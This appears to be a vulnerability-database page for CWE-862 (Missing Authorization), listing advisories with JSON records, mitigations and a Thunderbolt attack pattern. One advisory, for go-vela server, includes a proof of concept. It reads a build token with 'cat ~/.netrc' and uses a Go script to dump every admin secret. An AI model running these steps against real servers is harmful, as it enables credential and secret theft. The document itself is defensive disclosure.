Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14566 vulnerabilities reference this CWE, most recent first.

GHSA-8HP5-9R3R-C3G7

Vulnerability from github – Published: 2023-06-28 18:30 – Updated: 2024-04-04 05:14
VLAI
Details

In registerGsmaServiceIntentReceiver of ShannonRcsService.java, there is a possible way to activate/deactivate RCS service due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-270050709References: N/A

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  "affected": [],
  "aliases": [
    "CVE-2023-21149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-28T18:15:13Z",
    "severity": "HIGH"
  },
  "details": "In registerGsmaServiceIntentReceiver of ShannonRcsService.java, there is a possible way to activate/deactivate RCS service due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-270050709References: N/A",
  "id": "GHSA-8hp5-9r3r-c3g7",
  "modified": "2024-04-04T05:14:36Z",
  "published": "2023-06-28T18:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21149"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2023-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HQ9-VRMH-437M

Vulnerability from github – Published: 2024-12-13 15:30 – Updated: 2026-04-01 18:32
VLAI
Details

Missing Authorization vulnerability in WPExpertsio New User Approve allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects New User Approve: from n/a through 2.6.2.

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  "affected": [],
  "aliases": [
    "CVE-2024-54323"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-13T15:15:39Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in WPExpertsio New User Approve allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects New User Approve: from n/a through 2.6.2.",
  "id": "GHSA-8hq9-vrmh-437m",
  "modified": "2026-04-01T18:32:45Z",
  "published": "2024-12-13T15:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54323"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/new-user-approve/vulnerability/wordpress-new-user-approve-plugin-2-6-2-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HWJ-GJF6-5H2C

Vulnerability from github – Published: 2025-12-16 09:31 – Updated: 2026-01-20 15:32
VLAI
Details

Missing Authorization vulnerability in favethemes Homey Core homey-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Homey Core: from n/a through <= 2.4.3.

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{
  "affected": [],
  "aliases": [
    "CVE-2025-67965"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-16T09:15:59Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in favethemes Homey Core homey-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Homey Core: from n/a through \u003c= 2.4.3.",
  "id": "GHSA-8hwj-gjf6-5h2c",
  "modified": "2026-01-20T15:32:16Z",
  "published": "2025-12-16T09:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67965"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/homey-core/vulnerability/wordpress-homey-core-plugin-2-4-3-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/homey-core/vulnerability/wordpress-homey-core-plugin-2-4-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HXC-9FG4-27RV

Vulnerability from github – Published: 2026-03-04 12:30 – Updated: 2026-03-04 12:30
VLAI
Details

The Seraphinite Accelerator plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the seraph_accel_api AJAX action with fn=LogClear in all versions up to, and including, 2.28.14. This makes it possible for authenticated attackers, with Subscriber-level access and above, to clear the plugin's debug/operational logs.

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{
  "affected": [],
  "aliases": [
    "CVE-2026-3056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-04T12:16:03Z",
    "severity": "MODERATE"
  },
  "details": "The Seraphinite Accelerator plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `seraph_accel_api` AJAX action with `fn=LogClear` in all versions up to, and including, 2.28.14. This makes it possible for authenticated attackers, with Subscriber-level access and above, to clear the plugin\u0027s debug/operational logs.",
  "id": "GHSA-8hxc-9fg4-27rv",
  "modified": "2026-03-04T12:30:29Z",
  "published": "2026-03-04T12:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3056"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/seraphinite-accelerator/trunk/Cmn/Plugin.php#L598"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/seraphinite-accelerator/trunk/main.php#L2459"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3468084/seraphinite-accelerator/trunk/main.php?contextall=1"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/96850eb6-77d8-4012-b360-a417918cab0e?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HXF-8W9X-6CPW

Vulnerability from github – Published: 2023-09-04 03:30 – Updated: 2024-04-04 07:23
VLAI
Details

In vowifiservice, there is a possible missing permission check.This could lead to local denial of service with no additional execution privileges

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  "affected": [],
  "aliases": [
    "CVE-2023-38457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-04T02:15:09Z",
    "severity": "MODERATE"
  },
  "details": "In vowifiservice, there is a possible missing permission check.This could lead to local denial of service with no additional execution privileges",
  "id": "GHSA-8hxf-8w9x-6cpw",
  "modified": "2024-04-04T07:23:46Z",
  "published": "2023-09-04T03:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38457"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1698296481653522434"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HXH-GCQG-MX3V

Vulnerability from github – Published: 2025-12-31 15:30 – Updated: 2026-04-01 18:36
VLAI
Details

Missing Authorization vulnerability in CedCommerce WP Advanced PDF allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Advanced PDF: from n/a through 1.1.7.

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  "affected": [],
  "aliases": [
    "CVE-2025-62138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-31T14:15:53Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in CedCommerce WP Advanced PDF allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Advanced PDF: from n/a through 1.1.7.",
  "id": "GHSA-8hxh-gcqg-mx3v",
  "modified": "2026-04-01T18:36:27Z",
  "published": "2025-12-31T15:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62138"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-advanced-pdf/vulnerability/wordpress-wp-advanced-pdf-plugin-1-1-7-other-vulnerability-type-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/wordpress/plugin/wp-advanced-pdf/vulnerability/wordpress-wp-advanced-pdf-plugin-1-1-7-other-vulnerability-type-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8J3F-MHQ8-GMH4

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2022-08-15 20:02
VLAI
Summary
Reject unauthorized access with GitHub PATs
Details

Impact

What kind of vulnerability is it? Who is impacted?

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

  1. Create Vela server
  2. Login to Vela UI
  3. Promote yourself to Vela administrator
    • UPDATE users SET admin = 't' WHERE name = <username>
  4. Activate repository within Vela
  5. Add .vela.yml to the repository with the following content

    ```yaml version: "1"

    steps: - name: steal image: alpine commands: - cat ~/.netrc ```

  6. Look at build logs to find the following content

    $ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token>

  7. Copy the password to be utilized in some later step

  8. Add secret(s) to activated repo
  9. Copy the following script into main.go

    ```golang package main

    import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" )

    func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) }

    // add PAT to request
    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
    
    secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
    if err != nil {
        panic(err)
    }
    
    for _, secret := range *secrets {
        fmt.Println(*secret.Name)
        fmt.Println(*secret.Value)
    }
    

    } ```

  10. Run the main.go with environment specific settings

  11. VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

Patches

Has the problem been patched? What versions should users upgrade to?

  • Upgrade to v0.7.5 or later

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

  • No known workarounds

References

Are there any links users can visit to find out more?

  • https://github.com/go-vela/server/pull/246
  • https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token

For more information

If you have any questions or comments about this advisory

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  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-vela/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0"
            },
            {
              "fixed": "0.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-20T20:12:26Z",
    "nvd_published_at": "2021-04-09T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThe additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce\n\n1. Create Vela server\n2. Login to Vela UI\n3. Promote yourself to Vela administrator \n    - `UPDATE users SET admin = \u0027t\u0027 WHERE name = \u003cusername\u003e`\n4. Activate repository within Vela\n5. Add `.vela.yml` to the repository with the following content\n\n    \n    ```yaml\n    version: \"1\"\n    \n    steps:\n    - name: steal\n      image: alpine\n      commands:\n        - cat ~/.netrc\n    ```\n\n1. Look at build logs to find the following content\n\n    ```\n    $ cat ~/.netrc\n    machine \u003cGITHUB URL\u003e\n    login x-oauth-basic\n    password \u003ctoken\u003e\n    ```\n\n1. Copy the password to be utilized in some later step\n1. Add secret(s) to activated repo\n1. Copy the following script into `main.go`\n\n    ```golang\n    package main\n    \n    import (\n\t    \"fmt\"\n\t    \"github.com/go-vela/sdk-go/vela\"\n\t    \"os\"\n    )\n    \n    func main() {\n\t    // create client to connect to vela\n\t    client, err := vela.NewClient(os.Getenv(\"VELA_SERVER_ADDR\"), \"vela\", nil)\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    // add PAT to request\n\t    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv(\"VELA_TOKEN\"))\n    \n    \n\t    secrets, _, err := client.Admin.Secret.GetAll(\u0026vela.ListOptions{})\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    for _, secret := range *secrets {\n\t\t    fmt.Println(*secret.Name)\n\t\t    fmt.Println(*secret.Value)\n\t    }\n    }\n    ```\n\n1. Run the `main.go` with environment specific settings\n   - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=\u003ctoken obtained previously\u003e go run main.go`\n\nThe previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n* Upgrade to `v0.7.5` or later\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n* No known workarounds\n\n### References\n_Are there any links users can visit to find out more?_\n\n* https://github.com/go-vela/server/pull/246\n* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token\n\n### For more information\nIf you have any questions or comments about this advisory\n\n* Email us at [vela@target.com](mailto:vela@target.com)",
  "id": "GHSA-8j3f-mhq8-gmh4",
  "modified": "2022-08-15T20:02:53Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/pull/337"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vela/server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/github.com/go-vela/server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Reject unauthorized access with GitHub PATs"
}

GHSA-8J3G-2MM6-WF76

Vulnerability from github – Published: 2024-04-23 15:30 – Updated: 2026-04-01 18:31
VLAI
Details

Missing Authorization vulnerability in Shared Files PRO Shared Files.This issue affects Shared Files: from n/a through 1.7.16.

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{
  "affected": [],
  "aliases": [
    "CVE-2024-32679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-23T15:15:49Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Shared Files PRO Shared Files.This issue affects Shared Files: from n/a through 1.7.16.",
  "id": "GHSA-8j3g-2mm6-wf76",
  "modified": "2026-04-01T18:31:45Z",
  "published": "2024-04-23T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32679"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/shared-files/vulnerability/wordpress-shared-files-plugin-1-7-16-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/shared-files/wordpress-shared-files-plugin-1-7-16-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8J4H-85HH-844W

Vulnerability from github – Published: 2024-10-30 00:31 – Updated: 2026-04-01 18:32
VLAI
Details

Missing Authorization vulnerability in The SEO Guys at SEOPress SEOPress allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects SEOPress: from n/a through 8.1.1.

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{
  "affected": [],
  "aliases": [
    "CVE-2024-50454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-29T22:15:05Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in The SEO Guys at SEOPress SEOPress allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects SEOPress: from n/a through 8.1.1.",
  "id": "GHSA-8j4h-85hh-844w",
  "modified": "2026-04-01T18:32:14Z",
  "published": "2024-10-30T00:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50454"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/wp-seopress/vulnerability/wordpress-seopress-plugin-8-1-1-unauthenticated-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-seopress/wordpress-seopress-plugin-8-1-1-unauthenticated-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8J4J-75QJ-8C45

Vulnerability from github – Published: 2023-07-12 09:30 – Updated: 2024-04-04 06:02
VLAI
Details

In messaging service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.

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{
  "affected": [],
  "aliases": [
    "CVE-2023-30923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-12T09:15:11Z",
    "severity": "MODERATE"
  },
  "details": "In messaging service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.",
  "id": "GHSA-8j4j-75qj-8c45",
  "modified": "2024-04-04T06:02:34Z",
  "published": "2023-07-12T09:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30923"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/1676902764208259073"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.